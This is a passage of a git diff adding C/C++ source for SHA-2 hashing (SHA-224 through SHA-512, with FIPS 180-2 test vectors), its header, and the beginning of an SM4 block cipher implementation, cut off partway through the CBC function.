SHA256_EXP(4,5,6,7,0,1,2,3,60); SHA256_EXP(3,4,5,6,7,0,1,2,61); + SHA256_EXP(2,3,4,5,6,7,0,1,62); SHA256_EXP(1,2,3,4,5,6,7,0,63); + + ctx->h[0] += wv[0]; ctx->h[1] += wv[1]; + ctx->h[2] += wv[2]; ctx->h[3] += wv[3]; + ctx->h[4] += wv[4]; ctx->h[5] += wv[5]; + ctx->h[6] += wv[6]; ctx->h[7] += wv[7]; +#endif /* !UNROLL_LOOPS */ + } +} + +void sha256(const unsigned char *message, unsigned int len, unsigned char *digest) +{ + sha256_ctx ctx; + + sha256_init(&ctx); + sha256_update(&ctx, message, len); + sha256_final(&ctx, digest); +} + +void sha256_init(sha256_ctx *ctx) +{ +#ifndef UNROLL_LOOPS + int i; + for (i = 0; i < 8; i++) { + ctx->h[i] = sha256_h0[i]; + } +#else + ctx->h[0] = sha256_h0[0]; ctx->h[1] = sha256_h0[1]; + ctx->h[2] = sha256_h0[2]; ctx->h[3] = sha256_h0[3]; + ctx->h[4] = sha256_h0[4]; ctx->h[5] = sha256_h0[5]; + ctx->h[6] = sha256_h0[6]; ctx->h[7] = sha256_h0[7]; +#endif /* !UNROLL_LOOPS */ + + ctx->len = 0; + ctx->tot_len = 0; +} + +void sha256_update(sha256_ctx *ctx, const unsigned char *message, + unsigned int len) +{ + unsigned int block_nb; + unsigned int new_len, rem_len, tmp_len; + const unsigned char *shifted_message; + + tmp_len = SHA256_BLOCK_SIZE - ctx->len; + rem_len = len < tmp_len ? len : tmp_len; + + memcpy(&ctx->block[ctx->len], message, rem_len); + + if (ctx->len + len < SHA256_BLOCK_SIZE) { + ctx->len += len; + return; + } + + new_len = len - rem_len; + block_nb = new_len / SHA256_BLOCK_SIZE; + + shifted_message = message + rem_len; + + sha256_transf(ctx, ctx->block, 1); + sha256_transf(ctx, shifted_message, block_nb); + + rem_len = new_len % SHA256_BLOCK_SIZE; + + memcpy(ctx->block, &shifted_message[block_nb << 6], + rem_len); + + ctx->len = rem_len; + ctx->tot_len += (block_nb + 1) << 6; +} + +void sha256_final(sha256_ctx *ctx, unsigned char *digest) +{ + unsigned int block_nb; + unsigned int pm_len; + unsigned int len_b; + +#ifndef UNROLL_LOOPS + int i; +#endif + + block_nb = (1 + ((SHA256_BLOCK_SIZE - 9) + < (ctx->len % SHA256_BLOCK_SIZE))); + + len_b = (ctx->tot_len + ctx->len) << 3; + pm_len = block_nb << 6; + + memset(ctx->block + ctx->len, 0, pm_len - ctx->len); + ctx->block[ctx->len] = 0x80; + UNPACK32(len_b, ctx->block + pm_len - 4); + + sha256_transf(ctx, ctx->block, block_nb); + +#ifndef UNROLL_LOOPS + for (i = 0 ; i < 8; i++) { + UNPACK32(ctx->h[i], &digest[i << 2]); + } +#else + UNPACK32(ctx->h[0], &digest[ 0]); + UNPACK32(ctx->h[1], &digest[ 4]); + UNPACK32(ctx->h[2], &digest[ 8]); + UNPACK32(ctx->h[3], &digest[12]); + UNPACK32(ctx->h[4], &digest[16]); + UNPACK32(ctx->h[5], &digest[20]); + UNPACK32(ctx->h[6], &digest[24]); + UNPACK32(ctx->h[7], &digest[28]); +#endif /* !UNROLL_LOOPS */ +} + +/* SHA-512 functions */ + +void sha512_transf(sha512_ctx *ctx, const unsigned char *message, + unsigned int block_nb) +{ + uint64 w[80]; + uint64 wv[8]; + uint64 t1, t2; + const unsigned char *sub_block; + int i, j; + + for (i = 0; i < (int) block_nb; i++) { + sub_block = message + (i << 7); + +#ifndef UNROLL_LOOPS + for (j = 0; j < 16; j++) { + PACK64(&sub_block[j << 3], &w[j]); + } + + for (j = 16; j < 80; j++) { + SHA512_SCR(j); + } + + for (j = 0; j < 8; j++) { + wv[j] = ctx->h[j]; + } + + for (j = 0; j < 80; j++) { + t1 = wv[7] + SHA512_F2(wv[4]) + CH(wv[4], wv[5], wv[6]) + + sha512_k[j] + w[j]; + t2 = SHA512_F1(wv[0]) + MAJ(wv[0], wv[1], wv[2]); + wv[7] = wv[6]; + wv[6] = wv[5]; + wv[5] = wv[4]; + wv[4] = wv[3] + t1; + wv[3] = wv[2]; + wv[2] = wv[1]; + wv[1] = wv[0]; + wv[0] = t1 + t2; + } + + for (j = 0; j < 8; j++) { + ctx->h[j] += wv[j]; + } +#else + PACK64(&sub_block[ 0], &w[ 0]); PACK64(&sub_block[ 8], &w[ 1]); + PACK64(&sub_block[ 16], &w[ 2]); PACK64(&sub_block[ 24], &w[ 3]); + PACK64(&sub_block[ 32], &w[ 4]); PACK64(&sub_block[ 40], &w[ 5]); + PACK64(&sub_block[ 48], &w[ 6]); PACK64(&sub_block[ 56], &w[ 7]); + PACK64(&sub_block[ 64], &w[ 8]); PACK64(&sub_block[ 72], &w[ 9]); + PACK64(&sub_block[ 80], &w[10]); PACK64(&sub_block[ 88], &w[11]); + PACK64(&sub_block[ 96], &w[12]); PACK64(&sub_block[104], &w[13]); + PACK64(&sub_block[112], &w[14]); PACK64(&sub_block[120], &w[15]); + + SHA512_SCR(16); SHA512_SCR(17); SHA512_SCR(18); SHA512_SCR(19); + SHA512_SCR(20); SHA512_SCR(21); SHA512_SCR(22); SHA512_SCR(23); + SHA512_SCR(24); SHA512_SCR(25); SHA512_SCR(26); SHA512_SCR(27); + SHA512_SCR(28); SHA512_SCR(29); SHA512_SCR(30); SHA512_SCR(31); + SHA512_SCR(32); SHA512_SCR(33); SHA512_SCR(34); SHA512_SCR(35); + SHA512_SCR(36); SHA512_SCR(37); SHA512_SCR(38); SHA512_SCR(39); + SHA512_SCR(40); SHA512_SCR(41); SHA512_SCR(42); SHA512_SCR(43); + SHA512_SCR(44); SHA512_SCR(45); SHA512_SCR(46); SHA512_SCR(47); + SHA512_SCR(48); SHA512_SCR(49); SHA512_SCR(50); SHA512_SCR(51); + SHA512_SCR(52); SHA512_SCR(53); SHA512_SCR(54); SHA512_SCR(55); + SHA512_SCR(56); SHA512_SCR(57); SHA512_SCR(58); SHA512_SCR(59); + SHA512_SCR(60); SHA512_SCR(61); SHA512_SCR(62); SHA512_SCR(63); + SHA512_SCR(64); SHA512_SCR(65); SHA512_SCR(66); SHA512_SCR(67); + SHA512_SCR(68); SHA512_SCR(69); SHA512_SCR(70); SHA512_SCR(71); + SHA512_SCR(72); SHA512_SCR(73); SHA512_SCR(74); SHA512_SCR(75); + SHA512_SCR(76); SHA512_SCR(77); SHA512_SCR(78); SHA512_SCR(79); + + wv[0] = ctx->h[0]; wv[1] = ctx->h[1]; + wv[2] = ctx->h[2]; wv[3] = ctx->h[3]; + wv[4] = ctx->h[4]; wv[5] = ctx->h[5]; + wv[6] = ctx->h[6]; wv[7] = ctx->h[7]; + + j = 0; + + do { + SHA512_EXP(0,1,2,3,4,5,6,7,j); j++; + SHA512_EXP(7,0,1,2,3,4,5,6,j); j++; + SHA512_EXP(6,7,0,1,2,3,4,5,j); j++; + SHA512_EXP(5,6,7,0,1,2,3,4,j); j++; + SHA512_EXP(4,5,6,7,0,1,2,3,j); j++; + SHA512_EXP(3,4,5,6,7,0,1,2,j); j++; + SHA512_EXP(2,3,4,5,6,7,0,1,j); j++; + SHA512_EXP(1,2,3,4,5,6,7,0,j); j++; + } while (j < 80); + + ctx->h[0] += wv[0]; ctx->h[1] += wv[1]; + ctx->h[2] += wv[2]; ctx->h[3] += wv[3]; + ctx->h[4] += wv[4]; ctx->h[5] += wv[5]; + ctx->h[6] += wv[6]; ctx->h[7] += wv[7]; +#endif /* !UNROLL_LOOPS */ + } +} + +void sha512(const unsigned char *message, unsigned int len, + unsigned char *digest) +{ + sha512_ctx ctx; + + sha512_init(&ctx); + sha512_update(&ctx, message, len); + sha512_final(&ctx, digest); +} + +void sha512_init(sha512_ctx *ctx) +{ +#ifndef UNROLL_LOOPS + int i; + for (i = 0; i < 8; i++) { + ctx->h[i] = sha512_h0[i]; + } +#else + ctx->h[0] = sha512_h0[0]; ctx->h[1] = sha512_h0[1]; + ctx->h[2] = sha512_h0[2]; ctx->h[3] = sha512_h0[3]; + ctx->h[4] = sha512_h0[4]; ctx->h[5] = sha512_h0[5]; + ctx->h[6] = sha512_h0[6]; ctx->h[7] = sha512_h0[7]; +#endif /* !UNROLL_LOOPS */ + + ctx->len = 0; + ctx->tot_len = 0; +} + +void sha512_update(sha512_ctx *ctx, const unsigned char *message, + unsigned int len) +{ + unsigned int block_nb; + unsigned int new_len, rem_len, tmp_len; + const unsigned char *shifted_message; + + tmp_len = SHA512_BLOCK_SIZE - ctx->len; + rem_len = len < tmp_len ? len : tmp_len; + + memcpy(&ctx->block[ctx->len], message, rem_len); + + if (ctx->len + len < SHA512_BLOCK_SIZE) { + ctx->len += len; + return; + } + + new_len = len - rem_len; + block_nb = new_len / SHA512_BLOCK_SIZE; + + shifted_message = message + rem_len; + + sha512_transf(ctx, ctx->block, 1); + sha512_transf(ctx, shifted_message, block_nb); + + rem_len = new_len % SHA512_BLOCK_SIZE; + + memcpy(ctx->block, &shifted_message[block_nb << 7], + rem_len); + + ctx->len = rem_len; + ctx->tot_len += (block_nb + 1) << 7; +} + +void sha512_final(sha512_ctx *ctx, unsigned char *digest) +{ + unsigned int block_nb; + unsigned int pm_len; + unsigned int len_b; + +#ifndef UNROLL_LOOPS + int i; +#endif + + block_nb = 1 + ((SHA512_BLOCK_SIZE - 17) + < (ctx->len % SHA512_BLOCK_SIZE)); + + len_b = (ctx->tot_len + ctx->len) << 3; + pm_len = block_nb << 7; + + memset(ctx->block + ctx->len, 0, pm_len - ctx->len); + ctx->block[ctx->len] = 0x80; + UNPACK32(len_b, ctx->block + pm_len - 4); + + sha512_transf(ctx, ctx->block, block_nb); + +#ifndef UNROLL_LOOPS + for (i = 0 ; i < 8; i++) { + UNPACK64(ctx->h[i], &digest[i << 3]); + } +#else + UNPACK64(ctx->h[0], &digest[ 0]); + UNPACK64(ctx->h[1], &digest[ 8]); + UNPACK64(ctx->h[2], &digest[16]); + UNPACK64(ctx->h[3], &digest[24]); + UNPACK64(ctx->h[4], &digest[32]); + UNPACK64(ctx->h[5], &digest[40]); + UNPACK64(ctx->h[6], &digest[48]); + UNPACK64(ctx->h[7], &digest[56]); +#endif /* !UNROLL_LOOPS */ +} + +/* SHA-384 functions */ + +void sha384(const unsigned char *message, unsigned int len, + unsigned char *digest) +{ + sha384_ctx ctx; + + sha384_init(&ctx); + sha384_update(&ctx, message, len); + sha384_final(&ctx, digest); +} + +void sha384_init(sha384_ctx *ctx) +{ +#ifndef UNROLL_LOOPS + int i; + for (i = 0; i < 8; i++) { + ctx->h[i] = sha384_h0[i]; + } +#else + ctx->h[0] = sha384_h0[0]; ctx->h[1] = sha384_h0[1]; + ctx->h[2] = sha384_h0[2]; ctx->h[3] = sha384_h0[3]; + ctx->h[4] = sha384_h0[4]; ctx->h[5] = sha384_h0[5]; + ctx->h[6] = sha384_h0[6]; ctx->h[7] = sha384_h0[7]; +#endif /* !UNROLL_LOOPS */ + + ctx->len = 0; + ctx->tot_len = 0; +} + +void sha384_update(sha384_ctx *ctx, const unsigned char *message, + unsigned int len) +{ + unsigned int block_nb; + unsigned int new_len, rem_len, tmp_len; + const unsigned char *shifted_message; + + tmp_len = SHA384_BLOCK_SIZE - ctx->len; + rem_len = len < tmp_len ? len : tmp_len; + + memcpy(&ctx->block[ctx->len], message, rem_len); + + if (ctx->len + len < SHA384_BLOCK_SIZE) { + ctx->len += len; + return; + } + + new_len = len - rem_len; + block_nb = new_len / SHA384_BLOCK_SIZE; + + shifted_message = message + rem_len; + + sha512_transf(ctx, ctx->block, 1); + sha512_transf(ctx, shifted_message, block_nb); + + rem_len = new_len % SHA384_BLOCK_SIZE; + + memcpy(ctx->block, &shifted_message[block_nb << 7], + rem_len); + + ctx->len = rem_len; + ctx->tot_len += (block_nb + 1) << 7; +} + +void sha384_final(sha384_ctx *ctx, unsigned char *digest) +{ + unsigned int block_nb; + unsigned int pm_len; + unsigned int len_b; + +#ifndef UNROLL_LOOPS + int i; +#endif + + block_nb = (1 + ((SHA384_BLOCK_SIZE - 17) + < (ctx->len % SHA384_BLOCK_SIZE))); + + len_b = (ctx->tot_len + ctx->len) << 3; + pm_len = block_nb << 7; + + memset(ctx->block + ctx->len, 0, pm_len - ctx->len); + ctx->block[ctx->len] = 0x80; + UNPACK32(len_b, ctx->block + pm_len - 4); + + sha512_transf(ctx, ctx->block, block_nb); + +#ifndef UNROLL_LOOPS + for (i = 0 ; i < 6; i++) { + UNPACK64(ctx->h[i], &digest[i << 3]); + } +#else + UNPACK64(ctx->h[0], &digest[ 0]); + UNPACK64(ctx->h[1], &digest[ 8]); + UNPACK64(ctx->h[2], &digest[16]); + UNPACK64(ctx->h[3], &digest[24]); + UNPACK64(ctx->h[4], &digest[32]); + UNPACK64(ctx->h[5], &digest[40]); +#endif /* !UNROLL_LOOPS */ +} + +/* SHA-224 functions */ + +void sha224(const unsigned char *message, unsigned int len, + unsigned char *digest) +{ + sha224_ctx ctx; + + sha224_init(&ctx); + sha224_update(&ctx, message, len); + sha224_final(&ctx, digest); +} + +void sha224_init(sha224_ctx *ctx) +{ +#ifndef UNROLL_LOOPS + int i; + for (i = 0; i < 8; i++) { + ctx->h[i] = sha224_h0[i]; + } +#else + ctx->h[0] = sha224_h0[0]; ctx->h[1] = sha224_h0[1]; + ctx->h[2] = sha224_h0[2]; ctx->h[3] = sha224_h0[3]; + ctx->h[4] = sha224_h0[4]; ctx->h[5] = sha224_h0[5]; + ctx->h[6] = sha224_h0[6]; ctx->h[7] = sha224_h0[7]; +#endif /* !UNROLL_LOOPS */ + + ctx->len = 0; + ctx->tot_len = 0; +} + +void sha224_update(sha224_ctx *ctx, const unsigned char *message, + unsigned int len) +{ + unsigned int block_nb; + unsigned int new_len, rem_len, tmp_len; + const unsigned char *shifted_message; + + tmp_len = SHA224_BLOCK_SIZE - ctx->len; + rem_len = len < tmp_len ? len : tmp_len; + + memcpy(&ctx->block[ctx->len], message, rem_len); + + if (ctx->len + len < SHA224_BLOCK_SIZE) { + ctx->len += len; + return; + } + + new_len = len - rem_len; + block_nb = new_len / SHA224_BLOCK_SIZE; + + shifted_message = message + rem_len; + + sha256_transf(ctx, ctx->block, 1); + sha256_transf(ctx, shifted_message, block_nb); + + rem_len = new_len % SHA224_BLOCK_SIZE; + + memcpy(ctx->block, &shifted_message[block_nb << 6], + rem_len); + + ctx->len = rem_len; + ctx->tot_len += (block_nb + 1) << 6; +} + +void sha224_final(sha224_ctx *ctx, unsigned char *digest) +{ + unsigned int block_nb; + unsigned int pm_len; + unsigned int len_b; + +#ifndef UNROLL_LOOPS + int i; +#endif + + block_nb = (1 + ((SHA224_BLOCK_SIZE - 9) + < (ctx->len % SHA224_BLOCK_SIZE))); + + len_b = (ctx->tot_len + ctx->len) << 3; + pm_len = block_nb << 6; + + memset(ctx->block + ctx->len, 0, pm_len - ctx->len); + ctx->block[ctx->len] = 0x80; + UNPACK32(len_b, ctx->block + pm_len - 4); + + sha256_transf(ctx, ctx->block, block_nb); + +#ifndef UNROLL_LOOPS + for (i = 0 ; i < 7; i++) { + UNPACK32(ctx->h[i], &digest[i << 2]); + } +#else + UNPACK32(ctx->h[0], &digest[ 0]); + UNPACK32(ctx->h[1], &digest[ 4]); + UNPACK32(ctx->h[2], &digest[ 8]); + UNPACK32(ctx->h[3], &digest[12]); + UNPACK32(ctx->h[4], &digest[16]); + UNPACK32(ctx->h[5], &digest[20]); + UNPACK32(ctx->h[6], &digest[24]); +#endif /* !UNROLL_LOOPS */ +} + +#ifdef TEST_VECTORS + +/* FIPS 180-2 Validation tests */ + +#include +#include + +void test(const char *vector, unsigned char *digest, + unsigned int digest_size) +{ + char output[2 * SHA512_DIGEST_SIZE + 1]; + int i; + + output[2 * digest_size] = '\0'; + + for (i = 0; i < (int) digest_size ; i++) { + sprintf(output + 2 * i, "%02x", digest[i]); + } + + printf("H: %s\n", output); + if (strcmp(vector, output)) { + fprintf(stderr, "Test failed.\n"); + exit(EXIT_FAILURE); + } +} + +int main(void) +{ + static const char *vectors[4][3] = + { /* SHA-224 */ + { + "23097d223405d8228642a477bda255b32aadbce4bda0b3f7e36c9da7", + "75388b16512776cc5dba5da1fd890150b0c6455cb4f58b1952522525", + "20794655980c91d8bbb4c1ea97618a4bf03f42581948b2ee4ee7ad67", + }, + /* SHA-256 */ + { + "ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad", + "248d6a61d20638b8e5c026930c3e6039a33ce45964ff2167f6ecedd419db06c1", + "cdc76e5c9914fb9281a1c7e284d73e67f1809a48a497200e046d39ccc7112cd0", + }, + /* SHA-384 */ + { + "cb00753f45a35e8bb5a03d699ac65007272c32ab0eded1631a8b605a43ff5bed" + "8086072ba1e7cc2358baeca134c825a7", + "09330c33f71147e83d192fc782cd1b4753111b173b3b05d22fa08086e3b0f712" + "fcc7c71a557e2db966c3e9fa91746039", + "9d0e1809716474cb086e834e310a4a1ced149e9c00f248527972cec5704c2a5b" + "07b8b3dc38ecc4ebae97ddd87f3d8985", + }, + /* SHA-512 */ + { + "ddaf35a193617abacc417349ae20413112e6fa4e89a97ea20a9eeee64b55d39a" + "2192992a274fc1a836ba3c23a3feebbd454d4423643ce80e2a9ac94fa54ca49f", + "8e959b75dae313da8cf4f72814fc143f8f7779c6eb9f7fa17299aeadb6889018" + "501d289e4900f7e4331b99dec4b5433ac7d329eeb6dd26545e96e55b874be909", + "e718483d0ce769644e2e42c7bc15b4638e1f98b13b2044285632a803afa973eb" + "de0ff244877ea60a4cb0432ce577c31beb009c5c2c49aa2e4eadb217ad8cc09b" + } + }; + + static const char message1[] = "abc"; + static const char message2a[] = "abcdbcdecdefdefgefghfghighijhi" + "jkijkljklmklmnlmnomnopnopq"; + static const char message2b[] = "abcdefghbcdefghicdefghijdefghijkefghij" + "klfghijklmghijklmnhijklmnoijklmnopjklm" + "nopqklmnopqrlmnopqrsmnopqrstnopqrstu"; + unsigned char *message3; + unsigned int message3_len = 1000000; + unsigned char digest[SHA512_DIGEST_SIZE]; + + message3 = malloc(message3_len); + if (message3 == NULL) { + fprintf(stderr, "Can't allocate memory\n"); + return -1; + } + memset(message3, 'a', message3_len); + + printf("SHA-2 FIPS 180-2 Validation tests\n\n"); + printf("SHA-224 Test vectors\n"); + + sha224((const unsigned char *) message1, strlen(message1), digest); + test(vectors[0][0], digest, SHA224_DIGEST_SIZE); + sha224((const unsigned char *) message2a, strlen(message2a), digest); + test(vectors[0][1], digest, SHA224_DIGEST_SIZE); + sha224(message3, message3_len, digest); + test(vectors[0][2], digest, SHA224_DIGEST_SIZE); + printf("\n"); + + printf("SHA-256 Test vectors\n"); + + sha256((const unsigned char *) message1, strlen(message1), digest); + test(vectors[1][0], digest, SHA256_DIGEST_SIZE); + sha256((const unsigned char *) message2a, strlen(message2a), digest); + test(vectors[1][1], digest, SHA256_DIGEST_SIZE); + sha256(message3, message3_len, digest); + test(vectors[1][2], digest, SHA256_DIGEST_SIZE); + printf("\n"); + + printf("SHA-384 Test vectors\n"); + + sha384((const unsigned char *) message1, strlen(message1), digest); + test(vectors[2][0], digest, SHA384_DIGEST_SIZE); + sha384((const unsigned char *)message2b, strlen(message2b), digest); + test(vectors[2][1], digest, SHA384_DIGEST_SIZE); + sha384(message3, message3_len, digest); + test(vectors[2][2], digest, SHA384_DIGEST_SIZE); + printf("\n"); + + printf("SHA-512 Test vectors\n"); + + sha512((const unsigned char *) message1, strlen(message1), digest); + test(vectors[3][0], digest, SHA512_DIGEST_SIZE); + sha512((const unsigned char *) message2b, strlen(message2b), digest); + test(vectors[3][1], digest, SHA512_DIGEST_SIZE); + sha512(message3, message3_len, digest); + test(vectors[3][2], digest, SHA512_DIGEST_SIZE); + printf("\n"); + + printf("All tests passed.\n"); + + return 0; +} + +#endif /* TEST_VECTORS */ + diff --git a/sha2.h b/sha2.h new file mode 100644 index 0000000..a48cebf --- /dev/null +++ b/sha2.h @@ -0,0 +1,76 @@ + +#ifndef SHA2_H +#define SHA2_H + +#define SHA224_DIGEST_SIZE ( 224 / 8) +#define SHA256_DIGEST_SIZE ( 256 / 8) +#define SHA384_DIGEST_SIZE ( 384 / 8) +#define SHA512_DIGEST_SIZE ( 512 / 8) + +#define SHA256_BLOCK_SIZE ( 512 / 8) +#define SHA512_BLOCK_SIZE (1024 / 8) +#define SHA384_BLOCK_SIZE SHA512_BLOCK_SIZE +#define SHA224_BLOCK_SIZE SHA256_BLOCK_SIZE + +#ifndef SHA2_TYPES +#define SHA2_TYPES +typedef unsigned char uint8; +typedef unsigned int uint32; +typedef unsigned long long uint64; +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct { + unsigned int tot_len; + unsigned int len; + unsigned char block[2 * SHA256_BLOCK_SIZE]; + uint32 h[8]; +} sha256_ctx; + +typedef struct { + unsigned int tot_len; + unsigned int len; + unsigned char block[2 * SHA512_BLOCK_SIZE]; + uint64 h[8]; +} sha512_ctx; + +typedef sha512_ctx sha384_ctx; +typedef sha256_ctx sha224_ctx; + +void sha224_init(sha224_ctx *ctx); +void sha224_update(sha224_ctx *ctx, const unsigned char *message, + unsigned int len); +void sha224_final(sha224_ctx *ctx, unsigned char *digest); +void sha224(const unsigned char *message, unsigned int len, + unsigned char *digest); + +void sha256_init(sha256_ctx * ctx); +void sha256_update(sha256_ctx *ctx, const unsigned char *message, + unsigned int len); +void sha256_final(sha256_ctx *ctx, unsigned char *digest); +void sha256(const unsigned char *message, unsigned int len, + unsigned char *digest); + +void sha384_init(sha384_ctx *ctx); +void sha384_update(sha384_ctx *ctx, const unsigned char *message, + unsigned int len); +void sha384_final(sha384_ctx *ctx, unsigned char *digest); +void sha384(const unsigned char *message, unsigned int len, + unsigned char *digest); + +void sha512_init(sha512_ctx *ctx); +void sha512_update(sha512_ctx *ctx, const unsigned char *message, + unsigned int len); +void sha512_final(sha512_ctx *ctx, unsigned char *digest); +void sha512(const unsigned char *message, unsigned int len, + unsigned char *digest); + +#ifdef __cplusplus +} +#endif + +#endif /* !SHA2_H */ + diff --git a/sm4.cpp b/sm4.cpp new file mode 100644 index 0000000..d6aac48 --- /dev/null +++ b/sm4.cpp @@ -0,0 +1,266 @@ + + +#include "StdAfx.h" +#include "sm4.h" +#include +#include + + +#ifndef GET_ULONG_BE +#define GET_ULONG_BE(n,b,i) \ +{ \ + (n) = ( (unsigned long) (b)[(i) ] << 24 ) \ + | ( (unsigned long) (b)[(i) + 1] << 16 ) \ + | ( (unsigned long) (b)[(i) + 2] << 8 ) \ + | ( (unsigned long) (b)[(i) + 3] ); \ +} +#endif + +#ifndef PUT_ULONG_BE +#define PUT_ULONG_BE(n,b,i) \ +{ \ + (b)[(i) ] = (unsigned char) ( (n) >> 24 ); \ + (b)[(i) + 1] = (unsigned char) ( (n) >> 16 ); \ + (b)[(i) + 2] = (unsigned char) ( (n) >> 8 ); \ + (b)[(i) + 3] = (unsigned char) ( (n) ); \ +} +#endif + + +#define SHL(x,n) (((x) & 0xFFFFFFFF) << n) +#define ROTL(x,n) (SHL((x),n) | ((x) >> (32 - n))) + +#define SWAP(a,b) { unsigned long t = a; a = b; b = t; t = 0; } + +static const unsigned char SboxTable[16][16] = +{ +{0xd6,0x90,0xe9,0xfe,0xcc,0xe1,0x3d,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05}, +{0x2b,0x67,0x9a,0x76,0x2a,0xbe,0x04,0xc3,0xaa,0x44,0x13,0x26,0x49,0x86,0x06,0x99}, +{0x9c,0x42,0x50,0xf4,0x91,0xef,0x98,0x7a,0x33,0x54,0x0b,0x43,0xed,0xcf,0xac,0x62}, +{0xe4,0xb3,0x1c,0xa9,0xc9,0x08,0xe8,0x95,0x80,0xdf,0x94,0xfa,0x75,0x8f,0x3f,0xa6}, +{0x47,0x07,0xa7,0xfc,0xf3,0x73,0x17,0xba,0x83,0x59,0x3c,0x19,0xe6,0x85,0x4f,0xa8}, +{0x68,0x6b,0x81,0xb2,0x71,0x64,0xda,0x8b,0xf8,0xeb,0x0f,0x4b,0x70,0x56,0x9d,0x35}, +{0x1e,0x24,0x0e,0x5e,0x63,0x58,0xd1,0xa2,0x25,0x22,0x7c,0x3b,0x01,0x21,0x78,0x87}, +{0xd4,0x00,0x46,0x57,0x9f,0xd3,0x27,0x52,0x4c,0x36,0x02,0xe7,0xa0,0xc4,0xc8,0x9e}, +{0xea,0xbf,0x8a,0xd2,0x40,0xc7,0x38,0xb5,0xa3,0xf7,0xf2,0xce,0xf9,0x61,0x15,0xa1}, +{0xe0,0xae,0x5d,0xa4,0x9b,0x34,0x1a,0x55,0xad,0x93,0x32,0x30,0xf5,0x8c,0xb1,0xe3}, +{0x1d,0xf6,0xe2,0x2e,0x82,0x66,0xca,0x60,0xc0,0x29,0x23,0xab,0x0d,0x53,0x4e,0x6f}, +{0xd5,0xdb,0x37,0x45,0xde,0xfd,0x8e,0x2f,0x03,0xff,0x6a,0x72,0x6d,0x6c,0x5b,0x51}, +{0x8d,0x1b,0xaf,0x92,0xbb,0xdd,0xbc,0x7f,0x11,0xd9,0x5c,0x41,0x1f,0x10,0x5a,0xd8}, +{0x0a,0xc1,0x31,0x88,0xa5,0xcd,0x7b,0xbd,0x2d,0x74,0xd0,0x12,0xb8,0xe5,0xb4,0xb0}, +{0x89,0x69,0x97,0x4a,0x0c,0x96,0x77,0x7e,0x65,0xb9,0xf1,0x09,0xc5,0x6e,0xc6,0x84}, +{0x18,0xf0,0x7d,0xec,0x3a,0xdc,0x4d,0x20,0x79,0xee,0x5f,0x3e,0xd7,0xcb,0x39,0x48} +}; + +static const unsigned long FK[4] = {0xa3b1bac6,0x56aa3350,0x677d9197,0xb27022dc}; +static const unsigned long CK[32] = +{ +0x00070e15,0x1c232a31,0x383f464d,0x545b6269, +0x70777e85,0x8c939aa1,0xa8afb6bd,0xc4cbd2d9, +0xe0e7eef5,0xfc030a11,0x181f262d,0x343b4249, +0x50575e65,0x6c737a81,0x888f969d,0xa4abb2b9, +0xc0c7ced5,0xdce3eaf1,0xf8ff060d,0x141b2229, +0x30373e45,0x4c535a61,0x686f767d,0x848b9299, +0xa0a7aeb5,0xbcc3cad1,0xd8dfe6ed,0xf4fb0209, +0x10171e25,0x2c333a41,0x484f565d,0x646b7279 +}; + + + +static unsigned char sm4Sbox(unsigned char inch) +{ + unsigned char *pTable = (unsigned char *)SboxTable; + unsigned char retVal = (unsigned char)(pTable[inch]); + return retVal; +} + + +static unsigned long sm4Lt(unsigned long ka) +{ + unsigned long bb = 0; + unsigned long c = 0; + unsigned char a[4]; + unsigned char b[4]; + PUT_ULONG_BE(ka,a,0) + b[0] = sm4Sbox(a[0]); + b[1] = sm4Sbox(a[1]); + b[2] = sm4Sbox(a[2]); + b[3] = sm4Sbox(a[3]); + GET_ULONG_BE(bb,b,0) + c =bb^(ROTL(bb, 2))^(ROTL(bb, 10))^(ROTL(bb, 18))^(ROTL(bb, 24)); + return c; +} + + +static unsigned long sm4F(unsigned long x0, unsigned long x1, unsigned long x2, unsigned long x3, unsigned long rk) +{ + return (x0^sm4Lt(x1^x2^x3^rk)); +} + + + +static unsigned long sm4CalciRK(unsigned long ka) +{ + unsigned long bb = 0; + unsigned long rk = 0; + unsigned char a[4]; + unsigned char b[4]; + PUT_ULONG_BE(ka,a,0) + b[0] = sm4Sbox(a[0]); + b[1] = sm4Sbox(a[1]); + b[2] = sm4Sbox(a[2]); + b[3] = sm4Sbox(a[3]); + GET_ULONG_BE(bb,b,0) + rk = bb^(ROTL(bb, 13))^(ROTL(bb, 23)); + return rk; +} + +static void sm4_setkey( unsigned long SK[32], unsigned char key[16] ) +{ + unsigned long MK[4]; + unsigned long k[36]; + unsigned long i = 0; + + GET_ULONG_BE( MK[0], key, 0 ); + GET_ULONG_BE( MK[1], key, 4 ); + GET_ULONG_BE( MK[2], key, 8 ); + GET_ULONG_BE( MK[3], key, 12 ); + k[0] = MK[0]^FK[0]; + k[1] = MK[1]^FK[1]; + k[2] = MK[2]^FK[2]; + k[3] = MK[3]^FK[3]; + for(; i<32; i++) + { + k[i+4] = k[i] ^ (sm4CalciRK(k[i+1]^k[i+2]^k[i+3]^CK[i])); + SK[i] = k[i+4]; + } + +} + + +static void sm4_one_round( unsigned long sk[32], + unsigned char input[16], + unsigned char output[16] ) +{ + unsigned long i = 0; + unsigned long ulbuf[36]; + + memset(ulbuf, 0, sizeof(ulbuf)); + GET_ULONG_BE( ulbuf[0], input, 0 ) + GET_ULONG_BE( ulbuf[1], input, 4 ) + GET_ULONG_BE( ulbuf[2], input, 8 ) + GET_ULONG_BE( ulbuf[3], input, 12 ) + while(i<32) + { + ulbuf[i+4] = sm4F(ulbuf[i], ulbuf[i+1], ulbuf[i+2], ulbuf[i+3], sk[i]); + i++; + } + PUT_ULONG_BE(ulbuf[35],output,0); + PUT_ULONG_BE(ulbuf[34],output,4); + PUT_ULONG_BE(ulbuf[33],output,8); + PUT_ULONG_BE(ulbuf[32],output,12); +} + + +void sm4_setkey_enc( sm4_context *ctx, unsigned char key[16] ) +{ + ctx->mode = SM4_ENCRYPT; + sm4_setkey( ctx->sk, key ); +} + + +void sm4_setkey_dec( sm4_context *ctx, unsigned char key[16] ) +{ + int i; + ctx->mode = SM4_ENCRYPT; + sm4_setkey( ctx->sk, key ); + for( i = 0; i < 16; i ++ ) + { + SWAP( ctx->sk[ i ], ctx->sk[ 31-i] ); + } +} + + +void sm4_crypt_ecb( sm4_context *ctx, + int mode, + int length, + unsigned char *input, + unsigned char *output) +{ + while( length > 0 ) + { + sm4_one_round( ctx->sk, input, output ); + input += 16; + output += 16; + length -= 16; + } + +} + + +void sm4_crypt_cbc( sm4_context *ctx, + int mode, + int length, + unsigned char iv[16], + unsigned char 